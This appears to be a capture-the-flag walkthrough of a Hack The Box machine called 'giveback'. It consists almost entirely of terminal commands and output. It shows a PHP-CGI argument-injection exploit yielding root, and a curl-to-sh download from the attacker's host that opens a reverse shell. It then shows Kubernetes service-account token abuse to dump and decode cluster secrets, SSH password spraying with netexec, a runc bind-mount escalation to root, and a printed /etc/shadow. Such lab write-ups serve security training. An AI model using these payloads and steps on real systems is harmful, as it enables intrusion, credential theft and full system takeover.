❯ curl -s -X POST "10.43.2.241:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" -H "Content-Type: application/x-www-form-urlencoded" -H "Connection: keep-alive" --data "<?php phpinfo(); ?>" --max-time 10 -x 127.0.0.1:8080; echo
[START][END]
❯ 

1
2
3
4

❯ curl -s -X POST "10.43.2.241:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" -H "Content-Type: application/x-www-form-urlencoded" -H "Connection: keep-alive" --data "id" --max-time 10 -x 127.0.0.1:8080; echo
[START]uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[END]
❯

1

❯ curl -s -X POST "10.43.2.241:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" -H "Content-Type: application/x-www-form-urlencoded" --data "curl 10.10.14.10:8000/10.10.14.10:1335|sh"; echo

1
2
3
4
5
6
7
8
9

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.10] from giveback.htb [10.10.11.94] 3321
/bin/sh: can't access tty; job control turned off
/var/www/html/cgi-bin # whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/var/www/html/cgi-bin
/var/www/html/cgi-bin #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

/var/www/html # cat phpinfo.php
<?php
// Development phpinfo - Remove in production!
// Last updated: 2024-06-15

if (!isset($_GET['debug']) && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    // Simple protection, but bypassable
    die('Access restricted');
}

echo "<h1>PHP Configuration - Development Environment</h1>";
echo "<p style='color: red;'><strong>WARNING:</strong> This file should not be accessible in production!</p>";
echo "<hr>";

phpinfo();
?>
/var/www/html #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

/var/www/html/cgi-bin # env
# [.. cut ..]
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT_HTTPS=443
# [.. cut ..]
/var/www/html/cgi-bin # ls /var/run/secrets/kubernetes.io/serviceaccount
ca.crt
namespace
token
/var/www/html/cgi-bin #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

root@webapp-deployment-5d764566f4-lrpt9:~# export kube="/root/kiub --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://10.96.0.1:443"
root@webapp-deployment-5d764566f4-lrpt9:~# $kiub auth whoami
ATTRIBUTE                                           VALUE
Username                                            system:serviceaccount:default:secret-reader-sa
UID                                                 72c3f0a5-9b08-438a-a307-b60874635a9a
Groups                                              [system:serviceaccounts system:serviceaccounts:default system:authenticated]
Extra: authentication.kubernetes.io/credential-id   [JTI=2358fc2e-87db-41f6-a379-39181e141148]
Extra: authentication.kubernetes.io/node-name       [giveback.htb]
Extra: authentication.kubernetes.io/node-uid        [12a8a9cf-c35b-41f3-b35a-42c262e43046]
Extra: authentication.kubernetes.io/pod-name        [legacy-intranet-cms-6f7bf5db84-jm6bz]
Extra: authentication.kubernetes.io/pod-uid         [b844b807-0b21-45d5-ba6f-821fc5e1e7dd]
root@webapp-deployment-5d764566f4-lrpt9:~# $kube auth can-i --list -n dev
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
root@webapp-deployment-5d764566f4-lrpt9:~# $kube get namespaces
NAME              STATUS   AGE
default           Active   149d
dev               Active   149d
kube-node-lease   Active   149d
kube-public       Active   149d
kube-system       Active   149d
root@webapp-deployment-5d764566f4-lrpt9:~#

1
2
3
4
5
6
7
8
9

~ # which jq
/usr/bin/jq
~ # 
# get all secrets
for secret in $($kiub get secrets -n default -o jsonpath='{.items[*].metadata.name}'); do
  echo "Secret: $secret"
  $kiub get secret $secret -n default -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
  echo
done

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

/tmp # #<for bash>
Secret: beta-vino-wp-mariadb
mariadb-password: sW5sp4spa3u7RLyetrekE4oS
mariadb-root-password: sW5sp4syetre32828383kE4oS

Secret: beta-vino-wp-wordpress
wordpress-password: O8F7KR5zGi

Secret: sh.helm.release.v1.beta-vino-wp.v58
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/[... cut ...]D//0U10byr9wQA

Secret: sh.helm.release.v1.beta-vino-wp.v59
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/sKjcgy12qiPVDYIHAMi4[... cut ...]5bY/HSfgEAA==

Secret: sh.helm.release.v1.beta-vino-wp.v60
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/sKjcgy12qiP[... cut ...]iB03/BAA=

Secret: sh.helm.release.v1.beta-vino-wp.v61
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/sKjcgy12qiPVDYIHAMi4hcdw9McHJgJQ[... cut ...]WfwKL6878AAAD//2QZpO6Z+wQA

Secret: sh.helm.release.v1.beta-vino-wp.v62
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/[... cut ...]i78QQA

Secret: sh.helm.release.v1.beta-vino-wp.v63
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/sKjcgy12qiPVDY[... cut ...]/8xc3guz/YEAA==

Secret: sh.helm.release.v1.beta-vino-wp.v64
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/sK[... cut ...]9gQA

Secret: sh.helm.release.v1.beta-vino-wp.v65
release: H4sIAAAAAAAC/+z963KjyJooDN+KwrEjZs/sKjcgy12qiPVDYIHAMi4hcdw9McHJgJQgWoA[... cut ...]o/fwvAAD//27naPov+QQA

Secret: sh.helm.release.v1.beta-vino-wp.v66
release: H4sIAAAAAAAC/+y963KjSroo+CoKx0ScM3uqagGyvEoVs[... cut ...]AP//QPKDcdndBAA=

Secret: sh.helm.release.v1.beta-vino-wp.v67
release: H4sIAAAAAAAC/+y963KjSroo+CoKx0ScM3uqagGyvEoVsX8IL[... cut ...]o/cBAA=

Secret: user-secret-babywyrm
MASTERPASS: kPIfl7JXsDeR7BRD5OEqjTexYpqtUhpU

Secret: user-secret-margotrobbie
USER_PASSWORD: 6Moww5Pa84pbIStjl66skSGXAVVVX

Secret: user-secret-sydneysweeney
USER_PASSWORD: 8des2vmahn70EFJ3mEp2QTt8eaDOCOX

/tmp #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# bash `for`
# secrets filtered
# export kiub="/tmp/kubectl --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt --server=https://10.43.0.1:443"
for secret in $($kiub get secrets -n default -o jsonpath='{.items[*].metadata.name}'); do
  if [[ $secret == sh.helm* ]]; then
    continue
  fi
  echo "Secret: $secret"
  $kiub get secret "$secret" -n default -o json | jq -r '.data | to_entries[] | "\(.key): \(.value)"'
  echo
done

# execution
/tmp # # <bash for>
Secret: beta-vino-wp-mariadb
mariadb-password: c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T
mariadb-root-password: c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw==

Secret: beta-vino-wp-wordpress
wordpress-password: TzhGN0tSNXpHaQ==

Secret: user-secret-babywyrm
MASTERPASS: a1BJZmw3SlhzRGVSN0JSRDVPRXFqVGV4WXBxdFVocFU=

Secret: user-secret-margotrobbie
USER_PASSWORD: Nk1vd3c1UGE4NHBiSVN0amw2NnNrU0dYQVZWVlg=

Secret: user-secret-sydneysweeney
USER_PASSWORD: OGRlczJ2bWFobjcwRUZKM21FcDJRVHQ4ZWFET0NPWA==

/tmp #

1
2
3

❯ netexec ssh 10.10.11.94 -u user.txt -p passwords.txt --continue-on-success | grep +
SSH                      10.10.11.94     22     10.10.11.94      [+] babywyrm:kPIfl7JXsDeR7BRD5OEqjTexYpqtUhpU  Linux - Shell access!
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

❯ ssh babywyrm@giveback.htb
The authenticity of host 'giveback.htb (10.10.11.94)' can't be established.
ED25519 key fingerprint is SHA256:QW0UEukNwOzzXzOIYR311JYiuhYUEv8FYbRgwiKZ35g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'giveback.htb' (ED25519) to the list of known hosts.
babywyrm@giveback.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-124-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Nov 1 22:45:50 2025 from 10.10.14.10
babywyrm@giveback:~$ whoami;id;pwd
babywyrm
uid=1000(babywyrm) gid=1000(babywyrm) groups=1000(babywyrm),4(adm),30(dip)
/home/babywyrm
babywyrm@giveback:~$ ls
user.txt
babywyrm@giveback:~$ cat user.txt 
a8da1b9773f7d59fe54085a39e0f079c
babywyrm@giveback:~$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

babywyrm@giveback:~$ sudo -l -l
Matching Defaults entries for babywyrm on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, timestamp_timeout=0, timestamp_timeout=20

User babywyrm may run the following commands on localhost:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
	!ALL

Sudoers entry:
    RunAsUsers: ALL
    Commands:
	/opt/debug
babywyrm@giveback:~$

1
2
3
4
5
6
7

babywyrm@giveback:~$ sudo /opt/debug spec
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

Error: Incorrect administrative password
babywyrm@giveback:~$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

# c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T
babywyrm@giveback:~$ sudo /opt/debug
Validating sudo...
Please enter the administrative password: 

Both passwords verified. Executing the command...
NAME:
   runc - Open Container Initiative runtime

runc is a command line client for running applications packaged according to
the Open Container Initiative (OCI) format and is a compliant implementation of the
Open Container Initiative specification.

runc integrates well with existing process supervisors to provide a production
container runtime environment for applications. It can be used with your
existing process monitoring tools and the container will be spawned as a
direct child of the process supervisor.

Containers are configured using bundles. A bundle for a container is a directory
that includes a specification file named "config.json" and a root filesystem.
The root filesystem contains the contents of the container.

To start a new instance of a container:

    # runc run [ -b bundle ] <container-id>

Where "<container-id>" is your name for the instance of the container that you
are starting. The name you provide for the container instance must be unique on
your host. Providing the bundle directory using "-b" is optional. The default
value for "bundle" is the current directory.

USAGE:
   runc.amd64.debug [global options] command [command options] [arguments...]

VERSION:
   1.1.11
commit: v1.1.11-0-g4bccb38c
spec: 1.0.2-dev
go: go1.20.12
libseccomp: 2.5.4

COMMANDS:
   checkpoint  checkpoint a running container
   create      create a container
   delete      delete any resources held by the container often used with detached container
   events      display container events such as OOM notifications, cpu, memory, and IO usage statistics
   exec        execute new process inside the container
   kill        kill sends the specified signal (default: SIGTERM) to the container's init process
   list        lists containers started by runc with the given root
   pause       pause suspends all processes inside the container
   ps          ps displays the processes running inside a container
   restore     restore a container from a previous checkpoint
   resume      resumes all processes that have been previously paused
   run         create and run a container
   spec        create a new specification file
   start       executes the user defined process in a created container
   state       output the state of a container
   update      update container resource constraints
   features    show the enabled features
   help, h     Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --debug             enable debug logging
   --log value         set the log file to write runc logs to (default is '/dev/stderr')
   --log-format value  set the log format ('text' (default), or 'json') (default: "text")
   --root value        root directory for storage of container state (this should be located in tmpfs) (default: "/run/runc")
   --criu value        path to the criu binary used for checkpoint and restore (default: "criu")
   --systemd-cgroup    enable systemd cgroup support, expects cgroupsPath to be of form "slice:prefix:name" for e.g. "system.slice:runc:434234"
   --rootless value    ignore cgroup permission errors ('true', 'false', or 'auto') (default: "auto")
   --help, -h          show help
   --version, -v       print the version
babywyrm@giveback:~$

1
2
3
4
5
6
7
8
9

# c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T
babywyrm@giveback:~$ sudo /opt/debug spec
Validating sudo...
Please enter the administrative password: 

Both passwords verified. Executing the command...
babywyrm@giveback:~$ ls 
config.json  user.txt
babywyrm@giveback:~$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

"mounts": [
                {
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

babywyrm@giveback:~$ mkdir rootfs
babywyrm@giveback:~$ sudo /opt/debug run demo     
Validating sudo...
Please enter the administrative password: 

Both passwords verified. Executing the command...
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/
# cd /root
# ls
HTB  audit__.sh  coredns  dns.sh  helm	iptables_rules.sh  kubeseal  phpcgi  python  root.txt  wordpress
# cat root.txt
31073f02b88f3066bbd611d02e397a2d
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# cat /etc/shadow
root:$y$j9T$QFzc3gsorLqusBf73kX1x.$jyvD/pCPnr99xNLW62eqJVCQT5IbN7seZdPI3YoLgCA:20361:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
usbmux:*:19987:0:99999:7:::
sshd:*:19987:0:99999:7:::
babywyrm:$y$j9T$sVeazrSQQeqjSb/b7q9R/1$qz4lzjkhHIkbUhmF5x6C.r7KMXA.IHHTIHLgUYxMQz1:20393:0:99999:7:::
_laurel:!:20363::::::
#